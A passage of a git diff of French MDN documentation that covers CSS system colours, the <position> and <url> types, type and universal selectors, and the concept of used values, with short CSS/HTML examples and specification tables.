Couleurs système

- -

Tous les systèmes ne prennent pas en charges toutes les couleurs système. Cet usage est déprécié pour les pages web publiques (cf. ci-après le tableau des spécifications).

- -
-
ActiveBorder
-
La bordure de la fenêtre active.
-
ActiveCaption
-
La légende de la fenêtre active. Devrait être utilisé avec CaptionText comme couleur de premier-plan.
-
AppWorkspace
-
La couleur d'arrière-plan d'une interface avec plusieurs documents.
-
Background
-
L'arrière-plan du bureau.
-
ButtonFace
-
La couleur d'arrière-plan visible (qui fait face à l'utilisateur) pour les éléments qui sont en 3D avec une bordure qui les entoure. Devrait être utilisée avec ButtonText comme couleur de premier-plan.
-
ButtonHighlight
-
La couleur de la bordure faisant face à la source de lumière pour les éléments qui apparaissent en 3D à cause d'une bordure autour.
-
ButtonShadow
-
La couleur de la bordure éloignée de la source de lumière pour les éléments qui apparaissent en 3D à cause d'une bordure autour..
-
ButtonText
-
La couleur du texte sur les bouttons. Devrait être utilisée avec ButtonFace ou ThreeDFace comme couleur d'arrière-plan.
-
CaptionText
-
La couleur du texte dans les légendes, la couleur des boîtes redimensionnables et de la flèche de l'ascenseur. Devrait être utilisée avec ActiveCaption comme couleur d'arrière-plan.
-
GrayText
-
Texte (désactivé) en gris.
-
Highlight
-
La couleur des éléments sélectionnés dans un contrôle. Devrait être utilisé avec HighlightText comme couleur de premier-plan.
-
HighlightText
-
La couleur du texte des éléments sélectionnés dans un contrôle. Devrait être utilisée avec Highlight comme couleur d'arrière-plan.
-
InactiveBorder
-
La couleur de la bordure d'une fenêtre inactive.
-
InactiveCaption
-
La couleur de la légende de fenêtre inactive. Devrait être utilisée avec InactiveCaptionText comme couleur de premier-plan.
-
InactiveCaptionText
-
La couleur du texte pour une légende inactive. Devrait être utilisée avec InactiveCaption comme couleur d'arrière-plan.
-
InfoBackground
-
La couleur d'arrière-plan pour les bulles d'informations. Devrait être utilisée avec InfoText comme couleur de premier-plan.
-
InfoText
-
La couleur du texte pour les bulles d'informations. Devrait être utilisée avec InfoBackground comme couleur d'arrière-plan.
-
Menu
-
La couleur d'arrière-plan du menu. Devrait être utilisée avec MenuText ou -moz-MenuBarText comme couleur de premier-plan.
-
MenuText
-
La couleur du texte dans les menus. Devrait être utilisée avec Menu comme couleur d'arrière-plan.
-
Scrollbar
-
La couleur d'arrière-plan de la barre de défilement (ascenseur).
-
ThreeDDarkShadow
-
La couleur de la bordure la plus sombre (généralement la bordure extérieure) éloignée de la source de lumière lorsque deux bordures concentriques sont utilisées pour générer un effet 3D.
-
ThreeDFace
-
La couleur d'arrière-plan pour les éléments qui apparaissent en 3D grâce à des bordures concentriques. Devrait être utilisée avec ButtonText comme couleur de premier-plan.
-
ThreeDHighlight
-
La couleur de la bordure la plus claire (généralement la bordure extérieure) proche de la source de lumière lorsque deux bordures concentriques sont utilisées pour générer un effet 3D.
-
ThreeDLightShadow
-
La couleur de la bordure la plus sombre (généralement la bordure intérieure) proche de la source de lumière lorsque deux bordures concentriques sont utilisées pour générer un effet 3D.
-
ThreeDShadow
-
La couleur de la bordure la plus claire (généralement la bordure intérieure) lorsque deux bordures concentriques sont utilisées pour générer un effet 3D.
-
Window
-
La couleur d'arrière-plan de la fenêtre. Devrait être utilisée avec la couleur WindowText en premier plan.
-
WindowFrame
-
La couleur du cadre de la fenêtre.
-
WindowText
-
La couleur du texte dans les fenêtres. Devrait être utilisée avec la couleur Window en arrière-plan.
-
- -

Ajouts propres à Mozilla pour les couleurs système

- -
-
-moz-ButtonDefault
-
La couleur de la bordure autour des boutons représentant l'action par défaut d'une boîte de dialogue.
-
-moz-ButtonHoverFace
-
La couleur d'arrière-plan d'un bouton survolé par le pointeur (qui serait ThreeDFace ou ButtonFace lorsque le pointeur n'est pas sur le bouton). Devrait être utilisée avec -moz-ButtonHoverText comme couleur de premier-plan.
-
-moz-ButtonHoverText
-
La couleur du texte d'un bouton survolé par le pointeur (qui serait ButtonText lorsque le pointeur n'est pas sur le bouton). Devrait être utilisée avec-moz-ButtonHoverFace comme couleur d'arrière-plan.
-
-moz-CellHighlight
-
La couleur d'arrière-plan pour un élément sélectionné dans un widget arborescent. Devrait être utilisée avec -moz-CellHighlightText comme couleur de premier-plan. Voir aussi -moz-html-CellHighlight.
-
-moz-CellHighlightText
-
La couleur du texte pour un élément sélectionné dans un widget arborescent. Devrait être utilisée avec -moz-CellHighlight comme couleur d'arrière-plan. Voir aussi -moz-html-CellHighlightText.
-
-moz-Combobox
-
{{Gecko_minversion_inline("1.9.2")}} La couleur d'arrière-plan pour les listes déroulantes. Devrait être utilisée avec -moz-ComboboxText comme couleurs de premier-plan. Pour les versions antérieures à 1.9.2, on utilisera -moz-Field à la place.
-
-moz-ComboboxText
-
{{Gecko_minversion_inline("1.9.2")}} La couleur du texte pour les listes déroulantes. Devrait être utilisée avec -moz-Combobox comme couleur d'arrière-plan. Pour les versions antérieures à 1.9.2, on utilisera -moz-FieldText à la place.
-
-moz-Dialog
-
La couleur d'arrière-plan pour les boîtes de dialogue. Devrait être utilisée avec -moz-DialogText comme couleur de premier-plan.
-
-moz-DialogText
-
La couleur du texte pour les boîtes de dialogue. Devrait être utilisée avec -moz-Dialog comme couleur d'arrière-plan.
-
-moz-dragtargetzone
-
-moz-EvenTreeRow
-
{{gecko_minversion_inline("1.9")}} La couleur d'arrière-plan pour les lignes numérotées paires d'un arbre. Devrait être utilisée avec-moz-FieldText comme couleur de premier-plan. Pour les versions de Gecko avant 1.9, on utilisera -moz-Field. Voir aussi -moz-OddTreeRow.
-
-moz-Field
-
La couleur d'arrière-plan pour les champs texte. Devrait être utilisée avec -moz-FieldText comme couleur de premier-plan.
-
-moz-FieldText
-
La couleur du texte pour les champs texte. Devrait être utilisée avec -moz-Field, -moz-EvenTreeRow, ou -moz-OddTreeRow comme couleur d'arrière-plan.
-
-moz-html-CellHighlight
-
{{gecko_minversion_inline("1.9")}} La couleur d'arrière-plan pour les éléments sélectionnés dans un élément HTML {{HTMLElement("select")}}. Devrait être utilisée avec -moz-html-CellHighlightText comme couleur de premier-plan. Avant Gecko 1.9, on utilisera -moz-CellHighlight.
-
-moz-html-CellHighlightText
-
{{gecko_minversion_inline("1.9")}} La couleur du texte pour les éléments sélectionnés dans un élément HTML {{HTMLElement("select")}}. Devrait être utilisée avec -moz-html-CellHighlight comme couleur d'arrière-plan. Avant Gecko 1.9, on utilisera -moz-CellHighlightText.
-
-moz-mac-accentdarkestshadow
-
-moz-mac-accentdarkshadow
-
-moz-mac-accentface
-
-moz-mac-accentlightesthighlight
-
-moz-mac-accentlightshadow
-
-moz-mac-accentregularhighlight
-
-moz-mac-accentregularshadow
-
-moz-mac-chrome-active
-
{{Gecko_minversion_inline("1.9.1")}}
-
-moz-mac-chrome-inactive
-
{{Gecko_minversion_inline("1.9.1")}}
-
-moz-mac-focusring
-
-moz-mac-menuselect
-
-moz-mac-menushadow
-
-moz-mac-menutextselect
-
-moz-MenuHover
-
La couleur d'arrière-plan pour les éléments de menu survolés. Généralement semblable à Highlight. Devrait être utilisée avec -moz-MenuHoverText ou -moz-MenuBarHoverText comme couleur de premier-plan.
-
-moz-MenuHoverText
-
La couleur du texte pour les éléments de menu survolés. Généralement similaire à HighlightText. Devrait être utilisée avec -moz-MenuHover comme couleur d'arrière-plan.
-
-moz-MenuBarText
-
{{Gecko_minversion_inline("1.9.2")}} La couleur du texte dans les barres de menu. Généralement similaire à MenuText. Devrait être utilisée avec Menu comme couleur d'arrière-plan.
-
-moz-MenuBarHoverText
-
La couleur du texte pour les éléments survolés dans les barres de menu, généralement similaire à -moz-MenuHoverText. Devrait être utilisée avec -moz-MenuHover comme couleur d'arrière-plan.
-
-moz-nativehyperlinktext
-
{{Gecko_minversion_inline("1.9.1")}} La couleur par défaut de la plate-forme pour les hyperliens.
-
-moz-OddTreeRow
-
{{gecko_minversion_inline("1.9")}} La couleur d'arrière-plan pour les lignes numérotées impaires d'un arbre. Devrait être utilisée avec-moz-FieldText comme couleur de premier-plan. Pour les versions de Gecko avant 1.9, on utilisera -moz-Field. Voir aussi -moz-EvenTreeRow.
-
-moz-win-accentcolor
-
{{gecko_minversion_inline("56")}} Utilisée pour accéder à la couleur d'accentuation de Windows 10 pour les menus, la barre de tâches, les barres de titre.
-
-moz-win-accentcolortext
-
{{gecko_minversion_inline("56")}} Utilisée pour accéder à la couleur d'accentuation de Windows 10 uttilisée pour le texte des menus, de la barre de tâches et des barres de titre.
-
-moz-win-communicationstext
-
{{gecko_minversion_inline("1.9")}} Devrait être utilisée comme couleur pour les textes des objets pour lesquels {{cssxref("-moz-appearance")}}: -moz-win-communications-toolbox;.
-
-moz-win-mediatext
-
{{gecko_minversion_inline("1.9")}} Devrait être utilisée comme couleur pour les textes des objets pour lesquels {{cssxref("-moz-appearance")}}: -moz-win-media-toolbox.
-
- -

Ajout de Mozilla pour les couleurs liées aux préférences

- -
-
-moz-activehyperlinktext
-
La couleur choisie par l'utilisateur pour le texte des liens actifs. Devrait être utilisée avec la couleur d'arrière-plan par défaut du document.
-
-moz-default-background-color
-
{{Gecko_minversion_inline("5.0")}} La couleur choisie par l'utilisateur pour la couleur d'arrière-plan du document.
-
-moz-default-color
-
{{Gecko_minversion_inline("5.0")}} La couleur choisie par l'utilisateur pour la couleur du texte.
-
-moz-hyperlinktext
-
La couleur choisie par l'utilisateur pour le texte des liens non visités. Devrait être utilisée avec la couleur d'arrière-plan par défaut du document.
-
-moz-visitedhyperlinktext
-
La couleur choisie par l'utilisateur pour le texte des liens visités. Devrait être utilisée avec la couleur d'arrière-plan par défaut du document.
-
- -

Interpolation

- -

Les valeurs de type <color> peuvent être interpolées afin de créer des animations ou des dégradés (type <gradient>). Dans ce cas, elles sont interpolées via chacune de leurs composantes rouge, verte, bleue et chacune de ces coordonnées est gérée comme un nombre réel flottant. L'interpolation des couleurs est appliquée dans l'espace de couleurs alpha sRGBA prémultiplié afin d'empêcher des tons de gris d'apparaître. Pour les animations, la vitesse de l'interpolation est définie selon la fonction de temporisation associée à l'animation.

- -

Accessibilité

- -

La recommandation du W3C : WCAG 2.0 conseille vivement aux auteurs de ne pas utiliser la couleur comme le seul moyen de transmettre une information, une action ou un résultat. Certains utilisateurs peuvent rencontrer des difficultés à distinguer les couleurs. Bien entendu, cette recommandation ne vise pas à interdire l'utilisation des couleurs, elle indique simplement que ce ne doit pas être le seul moyen de fournir une information (voir l'article sur Ies couleurs et le contraste pour plus d'informations).

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS4 Colors', '#colorunits', '<color>')}}{{Spec2('CSS4 Colors')}}Ajout de la couleur rebeccapurple, de la notation hexadécimale sur quatre chiffres (#RGBA) et sur huit chiffres (#RRGGBBAA). rgba() et hsla() sont désormais synonymes de rgb() et hsl(), les paramètres des fonctions peuvent être séparés par des espaces plutôt que ds virgules, les valeurs de transparence (alpha) peuvent être exprimées en pourcentages et les valeurs de teinte avec un angle.
{{SpecName('CSS3 Colors', '#colorunits', '<color>')}}{{Spec2('CSS3 Colors')}}Les couleurs système sont désormais dépréciée. Les couleurs SVG sont ajoutées ainsi que les notations fonctionnelles rgba(), hsl(), hsla().
{{SpecName('CSS2.1', 'syndata.html#value-def-color', '<color>')}}{{Spec2('CSS2.1')}}Ajout de la couleur orange et des couleurs système.
{{SpecName('CSS1', '#color-units', '<color>')}}{{Spec2('CSS1')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("css.properties.color")}}

- -

Voir aussi

- -
    -
  • {{cssxref("opacity")}}
    • -
  • {{cssxref("color")}}
    • -
  • {{cssxref("background-color")}}
    • -
  • {{cssxref("border-color")}}
    • -
  • {{cssxref("outline-color")}}
    • -
  • {{cssxref("text-shadow")}}
    • -
  • {{cssxref("box-shadow")}}
    • -
diff --git a/files/fr/web/css/type_position/index.html b/files/fr/web/css/type_position/index.html deleted file mode 100644 index 03ddd68285..0000000000 --- a/files/fr/web/css/type_position/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: -slug: Web/CSS/Type_position -tags: - - CSS - - Reference - - Type -translation_of: Web/CSS/position_value ---- -
{{CSSRef}}
- -

Le type de donnée CSS <position> définit une paire de coordonnées dans l'espace (bidimensionnel) afin de définir la position relative d'une boîte. La position finale obtenue, décrite par la valeur <position>, n'est pas nécessairement située à l'intérieur de la boîte de l'élément. Ce type de donnée est notamment utilisé avec la propriété {{cssxref("background-position")}}.

- -

Syntaxe

- -

On peut définir un emplacement grâce à deux mots-clés avec chacun un décalage par rapport au côté correspondant à ce mot-clé. Un mot-clé représente un côté de la boîte ou la ligne du centre située entre les deux bords. Ce mot-clé sera left, right, top, bottom ou center (ce dernier représente le milieu entre les côtés droit et gauche ou le milieu entre les côtés haut et bas selon le contexte).

- -

Le décalage peut être une valeur relative, exprimée en pourcentages (valeur de type {{cssxref("<percentage>")}} ou une valeur absolue. Les valeurs positives décalent vers la droite ou vers le bas. Les valeurs négatives décalent dans l'autre sens (vers la gauche ou vers le haut).

- -

Si un seul décalage est indiqué, ce sera le décalage horizontal. Lorsqu'un seul décalage ou mot-clé est utilisé, la valeur par défaut pour l'autre axe est center.

- -

Valeurs

- -
/* Syntaxe avec une valeur */
-mot-clé                  /* Le côté depuis lequel décaler, on centrera sur l'autre axe*/
-<length> ou <percentage> /* La position sur l'axe */
-
-/* Syntaxe avec deux valeurs */
-mot-clé mot-clé          /* Un mot-clé pour chaque direction, l'ordre n'est pas important */
-mot-clé valeur           /* La valeur indique le décalage par rapport au côté indiqué par le mot-clé */
-valeur mot-clé           /* Une valeur pour le décalage horizontal et un mot-clé pour le décalage vertical */
-valeur valeur            /* Une valeur pour chaque composante du décalage */
-
-/* Syntaxe avec quatre valeurs */
-mot-clé valeur mot-clé valeur /* Chaque valeur indique le décalage par rapport au mot-clé qui le précède */
-
- -

Syntaxe formelle

- -
[
- [ left | center | right ] || [ top | center | bottom ]
-|
- [ left | center | right | <length> | <percentage> ]
- [ top | center | bottom | <length> | <percentage> ]?
-|
- [ [ left | right ] [ <length> | <percentage> ] ] &&
- [ [ top | bottom ] [ <length> | <percentage> ] ]
-]
-
- -

Interpolation

- -

Les valeurs des coordonnées en abscisses et en ordonnées sont interpolées indépendamment. La vitesse de l'interpolation est définie par la même fonction de temporisation ({{cssxref("<timing-function>")}}) et le point se déplacera donc sur une ligne.

- -

Exemples

- -

CSS

- -
div {
-  background-color: #FFEE99;
-  background-repeat: no-repeat;
-  width: 300px;
-  height: 80px;
-  margin-bottom: 12px;
-}
-
-.exemple{
-  background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #FFEE99 no-repeat;
-  // Ici un exemple de valeur <position>
-  background-position:  2.5cm bottom;
-}
- -

HTML

- -
<div class="exemple">Exemple</div>
- -

Résultat

- -

{{EmbedLiveSample('Exemples', 120, 200)}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Values', '#position', '<position>')}}{{Spec2('CSS3 Values')}}Renvoie aux deux définitions avec la contrainte suivante qui permet d'être cohérent : si {{SpecName('CSS3 Backgrounds')}} est pris en charge, c'est sa définition de  <position> qui doit être utilisée.
{{SpecName('CSS3 Backgrounds', '#position', '<position>')}}{{Spec2('CSS3 Backgrounds')}}<position> est défini de façon explicite et est étendu afin de pouvoir exprimer un décalage depuis n'importe quel côté.
{{SpecName('CSS2.1', 'colors.html#propdef-background-position', '<position>')}}{{Spec2('CSS2.1')}}Autorise la combinaison d'un mot-clé et d'une valeur {{cssxref("<length>")}} ou {{cssxref("<percentage>")}}.
{{SpecName('CSS1', '#background-position', '<position>')}}{{Spec2('CSS1')}}<position> est défini de façon anonyme comme valeur de {{cssxref("background-position")}}.
- -

Compatibilité des navigateurs

- - - -

{{Compat("css.types.position")}}

- -

Voir aussi

- - diff --git a/files/fr/web/css/type_selectors/index.html b/files/fr/web/css/type_selectors/index.html new file mode 100644 index 0000000000..adf931d9fe --- /dev/null +++ b/files/fr/web/css/type_selectors/index.html @@ -0,0 +1,82 @@ +--- +title: Sélecteurs de type +slug: Web/CSS/Sélecteurs_de_type +tags: + - CSS + - Reference + - Sélecteur +translation_of: Web/CSS/Type_selectors +--- +
{{CSSRef("Selectors")}}
+ +

Les sélecteurs de type CSS ciblent des éléments en fonction du nom de leur nœud. Ainsi, lorsqu'un sélecteur de type est utilisé seul, il ciblera tous les éléments de ce type (autrement dit tous les nœuds avec ce nom) contenus dans le document.

+ +
/* Cibler tous les éléments <a>. */
+a {
+  color: red;
+}
+ +

Syntaxe

+ +
élément { style propriétés }
+
+ +

Exemples

+ +

CSS

+ +
span {
+  background-color: skyblue;
+}
+
+ +

HTML

+ +
<span>Voici un élément <code>span</code> avec du texte.</span>
+<p>Et là un élément <code>p</code>.</p>
+<span>Enfin, un autre élément <code>span</code>.</span>
+
+ +

Résultat

+ +

{{EmbedLiveSample('Exemples', 200, 150)}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS4 Selectors', '#type-selectors', 'Type (tag name) selector')}}{{Spec2('CSS4 Selectors')}}Aucune modification.
{{SpecName('CSS3 Selectors', '#type-selectors', 'type selectors')}}{{Spec2('CSS3 Selectors')}}Aucune modification.
{{SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#basic-concepts', 'type selectors')}}{{Spec2('CSS1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.selectors.type")}}

diff --git a/files/fr/web/css/types_css/index.html b/files/fr/web/css/types_css/index.html deleted file mode 100644 index 28f95eeef4..0000000000 --- a/files/fr/web/css/types_css/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Types CSS -slug: Web/CSS/Types_CSS -tags: - - Aperçu - - CSS - - CSS Data Type - - Reference - - Type -translation_of: Web/CSS/CSS_Types ---- -
{{CSSRef}}
- -

Le module CSS basic data types définit les différents types de données CSS qui permettent de définir les types de valeurs (mots-clés et unités) acceptées par les différentes propriétés et fonctions. Lorsqu'on utilise une notation formelle, les types de données sont représentés par un mot-clé entre chevrons (< >).

- -
-

Note : Les types de donnée CSS sont un type spécial de composant de type de valeur.

-
- -

Référence

- -
-
    -
  • {{cssxref("<angle>")}}
    • -
  • {{cssxref("<angle-percentage>")}}
    • -
  • {{cssxref("<angular-color-hint>")}}
    • -
  • {{cssxref("<angular-color-stop>")}}
    • -
  • {{cssxref("<attr-fallback>")}}
    • -
  • {{cssxref("<attr-name>")}}
    • -
  • {{cssxref("<basic-shape>")}}
    • -
  • {{cssxref("<blend-mode>")}}
    • -
  • {{cssxref("<calc-product>")}}
    • -
  • {{cssxref("<calc-sum>")}}
    • -
  • {{cssxref("<calc-value>")}}
    • -
  • {{cssxref("<color>")}}
    • -
  • {{cssxref("<color-stop>")}}
    • -
  • {{cssxref("<color-stop-angle>")}}
    • -
  • {{cssxref("<counter-style>")}}
    • -
  • {{cssxref("<custom-ident>")}}
    • -
  • {{cssxref("<dimension>")}}
    • -
  • {{cssxref("<filter-function>")}}
    • -
  • {{cssxref("<flex>")}}
    • -
  • {{cssxref("<frequency>")}}
    • -
  • {{cssxref("<frequency-percentage>")}}
    • -
  • {{cssxref("<gradient>")}}
    • -
  • {{cssxref("<ident>")}}
    • -
  • {{cssxref("<image>")}}
    • -
  • {{cssxref("<integer>")}}
    • -
  • {{cssxref("<length>")}}
    • -
  • {{cssxref("<length-percentage>")}}
    • -
  • {{cssxref("<number>")}}
    • -
  • {{cssxref("<number-percentage>")}}
    • -
  • {{cssxref("<percentage>")}}
    • -
  • {{cssxref("<position>")}}
    • -
  • {{cssxref("<quote>")}}
    • -
  • {{cssxref("<ratio>")}}
    • -
  • {{cssxref("<resolution>")}}
    • -
  • {{cssxref("<shape-box>")}}
    • -
  • {{cssxref("<shape-radius>")}}
    • -
  • {{cssxref("<string>")}}
    • -
  • {{cssxref("<time>")}}
    • -
  • {{cssxref("<time-percentage>")}}
    • -
  • {{cssxref("<timing-function>")}}
    • -
  • {{cssxref("<toggle-value>")}}
    • -
  • {{cssxref("<transform-function>")}}
    • -
  • {{cssxref("<type-or-unit>")}}
    • -
  • {{cssxref("<url>")}}
    • -
  • {{cssxref("<url-modifier>")}}
    • -
  • {{cssxref("<zero>")}}
    • -
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS4 Values')}}{{Spec2('CSS4 Values')}}
{{SpecName('CSS3 Values')}}{{Spec2('CSS3 Values')}}Définition initiale.
- -

Voir aussi

- - diff --git a/files/fr/web/css/universal_selectors/index.html b/files/fr/web/css/universal_selectors/index.html new file mode 100644 index 0000000000..470d27160c --- /dev/null +++ b/files/fr/web/css/universal_selectors/index.html @@ -0,0 +1,103 @@ +--- +title: Sélecteurs universels +slug: Web/CSS/Sélecteurs_universels +tags: + - CSS + - Reference + - Sélecteur +translation_of: Web/CSS/Universal_selectors +--- +
{{CSSRef("Selectors")}}
+ +

L'astérisque (*) est le sélecteur universel en CSS. Il correspond à un élément de n'importe quel type.

+ +
* {
+  color: green;
+}
+ +

En CSS 3, l'astérisque peut être combinée avec les espaces de nom :

+ +
    +
  • ns|* - correspond à tous les éléments de l'espace de noms ns
    • +
  • *|* - correspond à tous les éléments
    • +
  • |* - correspond à tous les éléments sans espace de noms déclaré
    • +
+ +

Syntaxe

+ +
* { style properties }
+ +

L'astérisque est optionnelle lorsqu'elle est utilisée avec des sélecteurs simples. Par exemple, *.warning et .warning seront équivalents.

+ +

Exemples

+ +

CSS

+ +
* [lang^=fr] {
+  color:green;
+}
+
+*.warning {
+  color:red;
+}
+
+*#maincontent {
+  border: 1px solid blue;
+}
+
+.floating {
+  float: left;
+}
+
+.floating + * {
+  clear: left;
+}
+
+ +

HTML

+ +
<p class="warning">
+  <span lang="fr">Un span vert</span> dans un paragraphe rouge.
+</p>
+<p id="maincontent" lang="fr">
+  <span class="warning">Un span rouge</span> dans un paragraphe vert.
+</p>
+ +

Résultat

+ +

{{EmbedLiveSample('Exemples', 250, 100)}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS4 Selectors', '#the-universal-selector', 'universal selector')}}{{Spec2('CSS4 Selectors')}}Aucune modification.
{{SpecName('CSS3 Selectors', '#universal-selector', 'universal selector')}}{{Spec2('CSS3 Selectors')}}Définition du comportement avec les espaces de noms et ajout d'indications pour omettre le sélecteur avec les pseudo-éléments.
{{SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector')}}{{Spec2('CSS2.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.selectors.universal")}}

diff --git a/files/fr/web/css/url/index.html b/files/fr/web/css/url/index.html deleted file mode 100644 index d68db30cfe..0000000000 --- a/files/fr/web/css/url/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: -slug: Web/CSS/url -tags: - - CSS - - Reference - - Type -translation_of: Web/CSS/url() -translation_of_original: Web/CSS/url ---- -
{{CSSRef}}
- -

Le type de donnée CSS <url> représente un pointeur vers une ressource (cela peut être une image, une police de caractères). Ce type de données ne possède pas de syntaxe propre et ne peut être utilisé qu'avec la notation fonctionnelle url(). Il est utilisé avec de nombreuses propriétés telles que {{cssxref("background-image")}}, {{cssxref("cursor")}}, {{cssxref("list-style")}}, etc.

- -
Note : URI ou URL ?
-
-Une URI est différente d'une URL. Une URL décrit l'emplacement d'une ressource et l'URI décrit l'identifiant de la ressource. Une URI peut être un emplacement, une URL, un nom, une URN d'une ressource.
-
-Pour la spécification CSS de niveau 1, la notation fonctionnelle url() a été introduite afin de décrire des… URL, autrement dit des emplacements (un type de donnée <url> bien qu'il n'était pas défini explicitement).
-
-Pour la spécification CSS de niveau 2, la même notation fonctionnelle a été étendue afin de pouvoir décrire n'importe quelle URI, que ce soit une URL ou un URN. Cela a été une source d'ambiguïté car  url() était utilisée pour créer une valeur de type <uri>. En plus d'être source de confusion, les URN était très marginalement utilisées dans la pratique.
-
-Afin de remédier à cela, la spécification CSS de niveau 3 est revenue à la définition initiale avec cette fois-ci une définition explicite. La notation fonctionnelle url() représente donc une valeur de type <url> et plus une valeur de type <uri>.
-
-Cela dit, ces détails de sémantique ont peu d'impact pour les auteurs web voire pour l'implémentation du type de donnée par le moteur.
- -

Syntaxe

- -

L'URL peut être indiquée telle quelle comme argument de la fonction url()et encadrée, ou non, entre quotes ou doubles quotes. Il est possible d'utiliser des URL relatives. Celles-ci sont alors relatives à l'URL de la feuille de style (et non à l'URL de la page web).

- -
 <propriété_css>:  url("http://monsite.exemple.com/curseur.png")
- <propriété_css>: url("http://monsite.exemple.com/curseur.png")
- <propriété_css>:  url(http://monsite.exemple.com/curseur.png)
-
- -
-

Note : Les caractères de contrôle au-delà de 0x7e ne sont plus autorisés pour la forme sans quote à partir de Firefox 15. Voir {{bug(752230)}} pour plus d'informations.

-
- -

Exemples

- -

CSS

- -
ul {
-  list-style-image: url("https://mdn.mozillademos.org/files/11981/starsolid.gif")
-}
- -

HTML

- -
<ul>
-    <li>Élément 1</li>
-    <li>Élément 2</li>
-</ul>
-
- -

Résultat

- -

{{EmbedLiveSample('Exemples')}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS4 Values', '#urls', '<url>')}}{{Spec2('CSS4 Values')}}
{{SpecName('CSS3 Values', '#urls', '<url>')}}{{Spec2('CSS3 Values')}}Aucune modification significative.
{{Specname('CSS2.1', 'syndata.html#uri', '<uri>')}}{{Spec2('CSS2.1')}}Aucune modification significative.
{{SpecName('CSS1', '#url', '<url>')}}{{Spec2('CSS1')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("css.types.url")}}

- -

Voir aussi

- -
    -
  • {{cssxref("url()", "url()")}}
    • -
  • {{cssxref("<gradient>")}}
    • -
  • {{cssxref("element()")}}
    • -
  • {{cssxref("_image","image()")}}
    • -
  • {{cssxref("image-set","image-set()")}}
    • -
  • {{cssxref("cross-fade")}}
    • -
diff --git a/files/fr/web/css/used_value/index.html b/files/fr/web/css/used_value/index.html new file mode 100644 index 0000000000..df94445fd7 --- /dev/null +++ b/files/fr/web/css/used_value/index.html @@ -0,0 +1,144 @@ +--- +title: Valeur utilisée +slug: Web/CSS/Valeur_utilisée +tags: + - CSS + - Guide + - Reference + - Web +translation_of: Web/CSS/used_value +--- +
{{cssref}}
+ +

La valeur utilisée de n'importe quelle propriété CSS est la valeur finale d'une propriété après que tous les calculs aient été réalisés.

+ +

Une fois qu'un agent utilisateur a terminé les calculs, chaque propriété CSS possède une valeur utilisée. Les valeurs utilisées des dimensions (par exemple width, height) sont exprimées en pixels et les propriétés raccourcies (comme background) sont cohérentes avec leurs propriétés composantes (par exemple background-color), display est cohérente avec position et float.

+ +

Les valeurs utilisées pour certaines propriétés peuvent être retrouvées en appelant la méthode JavaScript window.getComputedStyle().

+ +

Détails

+ +

Quatre étapes permettent de déterminer la valeur finale de n'importe quelle propriété CSS.

+ +
    +
  1. Tout d'abord, la valeur spécifiée est le résultat de la cascade (on choisit la règle la plus spécifique qui change la propriété), de l'héritage (on utilise la valeur calculée d'un parent si la propriété peut être héritée) ou alors c'est la valeur par défaut est utilisée.
    2. +
  2. Ensuite, la valeur calculée est déterminée selon la spécification (par exemple, un span avec position: absolute aura display qui passera à block pour la valeur calculée).
    3. +
  3. Ensuite, la mise en page est calculée (les dimensions qui ont pour valeur auto ou des pourcentages relatifs à des parents sont remplacées par des valeurs en pixels), et le résultat est la valeur utilisée.
    4. +
  4. Enfin, la valeur est transformée selon les limites de l'environnement actuel, le résultat est la valeur réelle. La valeur finalement utilisée est la valeur réelle, éventuellement approximée en fonction des contraintes de l'agent utilisateur. Ces valeurs sont calculées de manière interne ; un script peut seulement lire les valeurs utilisées finales grâce à window.getComputedStyle  (bien que cette méthode peut renvoyer la valeur calculée selon la propriété, la valeur renvoyée par cette méthode est généralement appelée valeur résolue).
    5. +
+ +

Différence avec les valeurs calculées

+ +

CSS 2.0 définissait la valeur calculée comme la dernière étape du calcul de la valeur. CSS 2.1 a introduit une définition distincte de la valeur utilisée afin qu'un élément puisse hériter d'une largeur ou d'une hauteur d'un parent de manière explicite si la valeur calculée du parent est un pourcentage. Pour les propriétés CSS qui ne dépendent pas de la mise en page (comme display, font-size ou line-height), les valeurs calculées et les valeurs utilisées sont identiques. Voici les propriétés qui dépendent de la mise en page et dont les valeurs calculées sont différentes des valeurs utilisées (extrait de CSS 2.1 Changes: Specified, computed, and actual values) :

+ +
    +
  • background-position
    • +
  • bottom, left, right, top
    • +
  • height, width
    • +
  • margin-bottom, margin-left, margin-right, margin-top
    • +
  • min-height, min-width
    • +
  • padding-bottom, padding-left, padding-right, padding-top
    • +
  • text-indent
    • +
+ +

Exemples

+ +

Cet exemple illustre et calcule les largeurs utilisées pour les trois éléments.

+ +

CSS

+ +
#no-width {
+  width: auto;
+}
+
+#width-50 {
+  width: 50%;
+}
+
+#width-inherit {
+  width: inherit;
+}
+
+/* Permet de mieux voir les résultats */
+div {
+  border: 1px solid red;
+  padding: 8px;
+}
+ +

HTML

+ +
<div id="no-width">
+  <p>Pas de largeur explicite.</p>
+  <p class="show-used-width">..</p>
+
+  <div id="width-50">
+    <p>Largeur explicite : 50%.</p>
+    <p class="show-used-width">..</p>
+
+    <div id="width-inherit">
+      <p>Largeur explicite: héritée avec <code>inherit</code>.</p>
+      <p class="show-used-width">..</p>
+    </div>
+  </div>
+</div>
+
+ +

JavaScript

